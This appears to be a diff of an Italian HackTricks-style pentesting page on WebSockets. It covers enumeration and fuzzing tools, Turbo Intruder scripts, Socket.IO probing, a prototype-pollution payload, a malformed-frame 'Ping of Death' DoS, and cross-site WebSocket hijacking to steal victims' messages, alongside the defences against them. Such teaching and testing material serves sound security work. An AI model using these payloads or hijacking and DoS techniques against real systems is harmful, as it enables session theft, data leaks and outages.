ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` -### Enumerazione dei Websockets +### Websockets enumerazione -Puoi utilizzare il **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **per scoprire, identificare e cercare vulnerabilità note** **nei websockets** automaticamente. +Puoi usare il **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **per scoprire, fingerprint e cercare** **vulnerabilities** in websockets automaticamente. -### Strumenti di Debug per Websocket +### Strumenti di debug per Websocket -- **Burp Suite** supporta la comunicazione MitM dei websockets in modo molto simile a come lo fa per la comunicazione HTTP regolare. -- L'estensione **[**socketsleuth**](https://github.com/snyk/socketsleuth)** di Burp Suite ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la **cronologia**, impostando **regole di intercettazione**, utilizzando regole di **corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.** -- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abbreviazione di "**WebSocket/Socket.io Proxy**", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per **catturare, intercettare, inviare messaggi personalizzati** e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server. -- [**wsrepl**](https://github.com/doyensec/wsrepl) è un **REPL websocket interattivo** progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare **i messaggi websocket in arrivo e inviarne di nuovi**, con un framework facile da usare per **automatizzare** questa comunicazione. -- [**https://websocketking.com/**](https://websocketking.com/) è un **web per comunicare** con altri web utilizzando **websockets**. -- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) tra altri tipi di comunicazioni/protocolli, fornisce un **web per comunicare** con altri web utilizzando **websockets.** +- **Burp Suite** supporta la comunicazione MitM di websockets in modo molto simile a come lo fa per la comunicazione HTTP normale. +- L'[**socketsleuth**](https://github.com/snyk/socketsleuth) **estensione per Burp Suite** ti permette di gestire meglio le comunicazioni Websocket in Burp ottenendo la **history**, impostando **interception rules**, usando regole di **match and replace**, e utilizzando **Intruder** e **AutoRepeater.** +- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Contrazione di "**WebSocket/Socket.io Proxy**", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per catturare, intercettare, inviare messaggi personalizzati e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra client e server. +- [**wsrepl**](https://github.com/doyensec/wsrepl) è un **interactive websocket REPL** progettato specificamente per penetration testing. Fornisce un'interfaccia per osservare **incoming websocket messages and sending new ones**, con un framework facile da usare per **automating** questa comunicazione. +- [**https://websocketking.com/**](https://websocketking.com/) è un'interfaccia web per comunicare con altri web usando **websockets**. +- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) tra altri tipi di comunicazioni/protocolli, fornisce un'interfaccia web per comunicare con altri web usando **websockets.** -## Decrittazione del Websocket +## Decrypting Websocket - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) ## Laboratorio Websocket -In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) hai un codice per lanciare un web utilizzando websockets e in [**questo post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puoi trovare una spiegazione. +In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) hai un codice per lanciare un'app web che usa websockets e in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puoi trovare una spiegazione. -## Fuzzing del Websocket +## Websocket Fuzzing -L'estensione di burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ora consente di fuzzare anche i messaggi WebSocket. Puoi leggere ulteriori informazioni su questo [**qui**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). +L'estensione di Burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ora permette di fuzzare anche i messaggi WebSocket. Puoi leggere più informazioni su questo [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner). -## Hijacking WebSocket Cross-site (CSWSH) +### WebSocket Turbo Intruder (estensione per Burp) -**L'hijacking WebSocket cross-site**, noto anche come **hijacking WebSocket cross-origin**, è identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che colpisce i handshake WebSocket. Questa vulnerabilità si verifica quando i handshake WebSocket si autenticano esclusivamente tramite **HTTP cookies** senza **token CSRF** o misure di sicurezza simili. +Il WebSocket Turbo Intruder di PortSwigger porta lo scripting in stile Turbo Intruder in Python e il fuzzing ad alta velocità su WebSockets. Installalo dal BApp Store o dal sorgente. Include due componenti: -Gli attaccanti possono sfruttare questo ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site a un'applicazione vulnerabile. Di conseguenza, questa connessione viene trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione delle sessioni. +- Turbo Intruder: invio ad alto volume di messaggi a un singolo endpoint WS usando motori custom. +- HTTP Middleware: espone un endpoint HTTP locale che inoltra i body come messaggi WS su una connessione persistente, così qualsiasi scanner basato su HTTP può sondare i backend WS. -Affinché questo attacco funzioni, questi sono i requisiti: +Modello di script di base per fuzzare un endpoint WS e filtrare le risposte rilevanti: +```python +def queue_websockets(upgrade_request, message): +connection = websocket_connection.create(upgrade_request) +for i in range(10): +connection.queue(message, str(i)) -- L'**autenticazione websocket deve essere basata su cookie** -- Il cookie deve essere accessibile dal server degli attaccanti (questo di solito significa **`SameSite=None`**) e non deve essere abilitata la **Protezione Totale dei Cookie di Firefox** in Firefox e non devono essere **bloccati i cookie di terze parti** in Chrome. -- Il server websocket non deve controllare l'origine della connessione (o questo deve essere bypassabile) +def handle_outgoing_message(websocket_message): +results_table.add(websocket_message) -Inoltre: +@MatchRegex(r'{\"user\":\"Hal Pline\"') +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +Usa decoratori come `@MatchRegex(...)` per ridurre il rumore quando un singolo messaggio genera più risposte. -- Se l'autenticazione è basata su una connessione locale (a localhost o a una rete locale) l'attacco **sarà possibile** poiché nessuna protezione attuale lo vieta (controlla [ulteriori informazioni qui](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) +### Instradare WS tramite HTTP (HTTP Middleware) -### Attacco Semplice +Incapsula una connessione WS persistente e inoltra i body HTTP come messaggi WS per il testing automatizzato con scanner HTTP: +```python +def create_connection(upgrade_request): +connection = websocket_connection.create(upgrade_request) +return connection -Nota che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe utilizzarlo per **relazionare** ogni **singolo** **utente** con la sua **sessione websocket basata sul cookie inviato**. +@MatchRegex(r'{\"user\":\"You\"') +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +Poi invia HTTP localmente; il corpo viene inoltrato come messaggio WS: +```http +POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 +Host: 127.0.0.1:9000 +Content-Length: 16 -Quindi, se per **esempio** il **server websocket** **restituisce la cronologia della conversazione** di un utente se viene inviato un messaggio con "**READY"**, allora un **semplice XSS** stabilendo la connessione (il **cookie** verrà **inviato** **automaticamente** per autorizzare l'utente vittima) **inviando** "**READY**" sarà in grado di **recuperare** la cronologia della **conversazione**. +{"message":"hi"} +``` +Questo ti permette di pilotare backend WS filtrando per eventi “interessanti” (es., SQLi errors, auth bypass, command injection behavior). + +### Socket.IO handling (handshake, heartbeats, events) + +Socket.IO aggiunge un framing proprio sopra WS. Rilevalo tramite il parametro di query obbligatorio `EIO` (es., `EIO=4`). Mantieni la sessione attiva con Ping (`2`) e Pong (`3`) e avvia la conversazione con `"40"`, poi emetti eventi come `42["message","hello"]`. + +Esempio Intruder: +```python +import burp.api.montoya.http.message.params.HttpParameter as HttpParameter + +def queue_websockets(upgrade_request, message): +connection = websocket_connection.create( +upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) +connection.queue('40') +connection.queue('42["message","hello"]') + +@Pong("3") +def handle_outgoing_message(websocket_message): +results_table.add(websocket_message) + +@PingPong("2", "3") +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +Variante dell'adattatore HTTP: +```python +import burp.api.montoya.http.message.params.HttpParameter as HttpParameter + +def create_connection(upgrade_request): +connection = websocket_connection.create( +upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) +connection.queue('40') +connection.decIn() +return connection + +@Pong("3") +def handle_outgoing_message(websocket_message): +results_table.add(websocket_message) + +@PingPong("2", "3") +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +### Rilevamento di prototype pollution lato server tramite Socket.IO + +Seguendo la tecnica di rilevamento sicura di PortSwigger, prova a contaminare gli internals di Express inviando un payload come: +```json +{"__proto__":{"initialPacket":"Polluted"}} +``` +Se i saluti o il comportamento cambiano (es. l'echo include "Polluted"), è probabile che tu abbia inquinato i prototype lato server. L'impatto dipende dai sink raggiungibili; correlalo con i gadget nella sezione Node.js prototype pollution. Vedi: + +- Consulta [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) per sinks/gadgets e idee di chaining. + +### WebSocket race conditions with Turbo Intruder + +Il motore di default raggruppa i messaggi su una singola connessione (ottimo throughput, scadente per le race conditions). Usa il motore THREADED per generare più connessioni WS e inviare payload in parallelo per scatenare logic races (double‑spend, token reuse, state desync). Parti dallo script d'esempio e regola la concorrenza in `config()`. + +- Consulta la metodologia e le alternative in [Race Condition](race-condition.md) (vedi “RC in WebSockets”). + +### WebSocket DoS: malformed frame “Ping of Death” + +Crea frame WS il cui header dichiara una lunghezza del payload enorme ma non invii alcun body. Alcuni server WS si fidano della lunghezza e preallocano buffer; impostarla vicino a `Integer.MAX_VALUE` può causare Out‑Of‑Memory e un DoS remoto senza autenticazione. Vedi lo script d'esempio. + +### CLI and debugging + +- Fuzzing in modalità headless: `java -jar WebSocketFuzzer-.jar ` +- Abilita il WS Logger per catturare e correlare i messaggi usando ID interni. +- Usa gli helper `inc*`/`dec*` su `Connection` per modificare la gestione degli ID messaggio in adapter complessi. +- Decorator come `@PingPong`/`@Pong` e helper come `isInteresting()` riducono il rumore e mantengono le sessioni attive. + +### Operational safety + +Il fuzzing WS ad alta velocità può aprire molte connessioni e inviare migliaia di messaggi al secondo. Frame malformati e tassi elevati possono causare DoS reali. Utilizzare solo dove consentito. + +## Cross-site WebSocket hijacking (CSWSH) + +**Cross-site WebSocket hijacking**, noto anche come **cross-origin WebSocket hijacking**, è identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che interessa gli handshake WebSocket. Questa vulnerabilità si verifica quando gli handshake WebSocket si autenticano esclusivamente tramite **HTTP cookies** senza **CSRF tokens** o misure di sicurezza simili. + +Gli attacker possono sfruttarlo ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site verso un'app vulnerabile. Di conseguenza, la connessione viene trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione della sessione. + +Perché questo attacco funzioni, questi sono i requisiti: + +- L'autenticazione websocket deve essere basata sui cookie +- Il cookie deve essere accessibile dal server dell'attaccante (di solito significa **`SameSite=None`**) e non devono essere attivati **Firefox Total Cookie Protection** in Firefox né **blocked third-party cookies** in Chrome. +- Il server websocket non deve verificare l'Origin della connessione (o questa deve essere aggirabile) + +Also: + +- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) + +### Simple Attack + +Nota che quando si **stabilisce** una connessione **websocket** il **cookie** viene **inviato** al server. Il **server** potrebbe usarlo per **associare** ogni **singolo** **utente** alla sua **websocket session** basata sul cookie inviato. + +Quindi, se ad esempio il server websocket restituisce la cronologia della conversazione di un utente quando viene inviato un messaggio con "READY", allora una semplice XSS che stabilisca la connessione (il cookie verrà inviato automaticamente per autorizzare l'utente vittima) inviando "READY" potrà recuperare la cronologia della conversazione. ```html @@ -148,42 +265,51 @@ xhttp.send() return messageEvent } ``` -Ora scarica il file `wsHook.js` da [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salvalo all'interno della cartella con i file web**.\ -Esporre l'applicazione web e far connettere un utente ad essa ti permetterà di rubare i messaggi inviati e ricevuti tramite websocket: +Ora scarica il file `wsHook.js` da [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salvalo nella cartella con i file web**.\ +Esponendo l'applicazione web e inducendo un utente a connettersi potrai rubare i messaggi inviati e ricevuti tramite websocket: ```javascript sudo python3 -m http.server 80 ``` ### Protezioni CSWSH -L'attacco CSWSH si basa sul fatto che un **utente si connetterà a una pagina malevola** che **aprirà una connessione websocket** a una pagina web a cui l'utente è già connesso e si autenticherà come lui poiché la richiesta invierà i cookie dell'utente. +L'attacco CSWSH si basa sul fatto che un **utente si connetterà a una pagina malevola** che aprirà una **connessione websocket** a una pagina web a cui l'utente è già connesso e si autenticherà al suo posto poiché la richiesta invierà i cookie dell'utente. -Oggigiorno, è molto facile prevenire questo problema: +Oggi è molto facile prevenire questo problema: -- **Controllo dell'origine del server websocket**: Il server websocket dovrebbe sempre controllare da dove un utente si sta connettendo per prevenire che pagine inaspettate si connettano ad esso. -- **Token di autenticazione**: Invece di basare l'autenticazione su un cookie, la connessione websocket potrebbe essere basata su un token generato dal server per l'utente sconosciuto all'attaccante (come un token anti-CSRF). -- **Attributo Cookie SameSite**: I cookie con valore `SameSite` impostato su `Lax` o `Strict` non verranno inviati da una pagina di attaccanti esterni al server vittima, pertanto, l'autenticazione basata su cookie non avrà successo. Nota che Chrome ora imposta il valore **`Lax`** sui cookie senza questo flag specificato rendendoli più sicuri per impostazione predefinita. Tuttavia, nei primi 2 minuti dalla creazione di un cookie, avrà il valore **`None`** rendendolo vulnerabile durante quel periodo limitato di tempo (si prevede anche che questa misura sarà rimossa a un certo punto). -- **Protezione totale dei cookie di Firefox**: La Protezione totale dei cookie funziona isolando i cookie al sito in cui sono stati creati. Essenzialmente, ogni sito ha la propria partizione di archiviazione dei cookie per prevenire che terze parti colleghino la cronologia di navigazione di un utente. Questo rende **CSWSH inutilizzabile** poiché il sito degli attaccanti non avrà accesso ai cookie. -- **Blocco dei cookie di terze parti di Chrome**: Questo potrebbe anche prevenire l'invio del cookie dell'utente autenticato al server websocket anche con `SameSite=None`. +- **Websocket server checking the origin**: Il websocket server dovrebbe sempre controllare da dove un utente si connette per evitare che pagine inattese si connettano a esso. +- **Authentication token**: Invece di basare l'autenticazione su un cookie, la connessione websocket potrebbe basarsi su un token generato dal server per l'utente e sconosciuto all'attaccante (come un anti-CSRF token). +- **SameSite Cookie attribute**: I cookie con valore `SameSite` impostato a `Lax` o `Strict` non saranno inviati da una pagina esterna dell'attaccante al server vittima, quindi l'autenticazione basata sui cookie non avrà successo. Nota che Chrome ora assegna il valore **`Lax`** ai cookie privi di questa flag rendendo questo comportamento più sicuro di default. Tuttavia, nei primi 2 minuti dalla creazione un cookie avrà il valore **`None`**, rendendolo vulnerabile durante quel periodo limitato (si prevede anche che questa misura venga rimossa a un certo punto). +- **Firefox Total Cookie Protection**: Total Cookie Protection funziona isolando i cookie al sito in cui sono creati. Essenzialmente ogni sito ha la propria partizione di storage dei cookie per impedire a terze parti di collegare insieme la cronologia di navigazione di un utente. Questo rende **CSWSH inutilizzabile** poiché il sito dell'attaccante non avrà accesso ai cookie. +- **Chrome third-party cookies block**: Questo può anche impedire l'invio del cookie dell'utente autenticato al websocket server anche con `SameSite=None`. -## Condizioni di gara +## Race Conditions -Le condizioni di gara nei WebSocket sono anche un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets). +Anche le race conditions nei WebSockets esistono, [check this information to learn more](race-condition.md#rc-in-websockets). ## Altre vulnerabilità -Poiché i Web Sockets sono un meccanismo per **inviare dati al lato server e al lato client**, a seconda di come il server e il client gestiscono le informazioni, **i Web Sockets possono essere utilizzati per sfruttare diverse altre vulnerabilità come XSS, SQLi o qualsiasi altra vulnerabilità web comune utilizzando l'input di un utente da un websocket.** +Poiché i Web Sockets sono un meccanismo per **inviare dati sia al server che al client**, a seconda di come server e client gestiscono le informazioni, **i Web Sockets possono essere usati per sfruttare molte altre vulnerabilità come XSS, SQLi o qualsiasi altra vulnerabilità web comune utilizzando l'input di un utente da un websocket.** ## **WebSocket Smuggling** -Questa vulnerabilità potrebbe consentirti di **bypassare le restrizioni dei proxy inversi** facendoli credere che una **comunicazione websocket sia stata stabilita** (anche se non è vero). Questo potrebbe consentire a un attaccante di **accedere a endpoint nascosti**. Per ulteriori informazioni controlla la seguente pagina: +Questa vulnerabilità potrebbe permettere di **bypassare le restrizioni dei reverse proxy** facendoli credere che sia stata **stabilita una comunicazione websocket** (anche se non è vero). Ciò potrebbe consentire a un attaccante di **accedere a endpoint nascosti**. Per maggiori informazioni verifica la pagina seguente: + {{#ref}} h2c-smuggling.md {{#endref}} -## Riferimenti +## References - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) +- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066) +- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) +- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers) +- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) +- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) {{#include ../banners/hacktricks-training.md}}